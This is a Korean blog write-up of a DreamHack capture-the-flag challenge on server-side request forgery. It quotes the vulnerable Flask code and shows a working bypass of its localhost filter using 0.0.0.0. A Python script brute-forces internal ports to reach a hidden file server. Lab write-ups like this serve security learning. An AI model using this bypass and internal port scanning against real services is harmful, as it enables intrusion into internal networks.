본문 바로가기

Hacking/DreamHack

web-ssrf

코드 분석

elif request.method == "POST":
        url = request.form.get("url", "")
        urlp = urlparse(url)
        if url[0] == "/":
            url = "http://localhost:8000" + url
        elif ("localhost" in urlp.netloc) or ("127.0.0.1" in urlp.netloc):
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
            return render_template("img_viewer.html", img=img)
        try:
            data = requests.get(url, timeout=3).content
            img = base64.b64encode(data).decode("utf8")
        except:
            data = open("error.png", "rb").read()
            img = base64.b64encode(data).decode("utf8")
        return render_template("img_viewer.html", img=img)

if, elif 를 우회 할 경우 url get request 수행 가능

 

local_host = "127.0.0.1"
local_port = random.randint(1500, 1800)
local_server = http.server.HTTPServer(
    (local_host, local_port), http.server.SimpleHTTPRequestHandler
)
print(local_port)

로컬 호스트에서 1500~1800 포트에서 서버 실행하며,

http.server.SimpleHTTPRequestHandler 은
=> HTTP 요청을 처리하고, 서버가 실행되는 디렉터리에서 파일을 클라이언트에게 제공하는 역할을 합니다.

 

접근 전략


따라서 url 파라미터에 localhost:randomport/flag.txt 입력수행 목표

localhost 0.0.0.0 으로 입력 

randomport => bruteforce 수행

app.run(host="0.0.0.0", port=8000, threaded=True)

8000번 포트를 통해 있는 정상적인 서비스일 경우의 응답 값 확인

 

import requests

# 서버의 URL
base_url = "http://host3.dreamhack.games:17279/img_viewer"
proxies = {
    "http": "http://localhost:8080",
    "https": "http://localhost:8080"
}

# 1500번부터 1800번 포트까지 반복적으로 요청
for port in range(1500, 1801):
    # URL의 포트 부분을 1500~1800으로 변경
    payload = {
        "url": f"http://0.0.0.0:{port}/static/dream.png"
    }

    # HTTP 헤더 설정
    headers = {
        "Host": "host3.dreamhack.games:17279",
        "Cache-Control": "max-age=0",
        "Accept-Language": "ko-KR",
        "Origin": "http://host3.dreamhack.games:17279",
        "Content-Type": "application/x-www-form-urlencoded",
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36",
                               
    }

    # HTTP POST 요청 보내기
    response = requests.post(base_url, data=payload, headers=headers,proxies=proxies)

    # 요청 결과 출력
    print(f"Port: {port}, Status Code: {response.status_code}")
    print(response.headers.get('Content-Length'))  # 응답 내용 출력

1700 번포트 당첨

 

'Hacking > DreamHack' 카테고리의 다른 글

Dream Gallery  (0) 2024.09.04
Additional calculator  (0) 2024.09.04
Bypass-WAF  (0) 2024.09.04
Cat Jump  (6) 2024.08.28
Master Canary  (0) 2024.08.13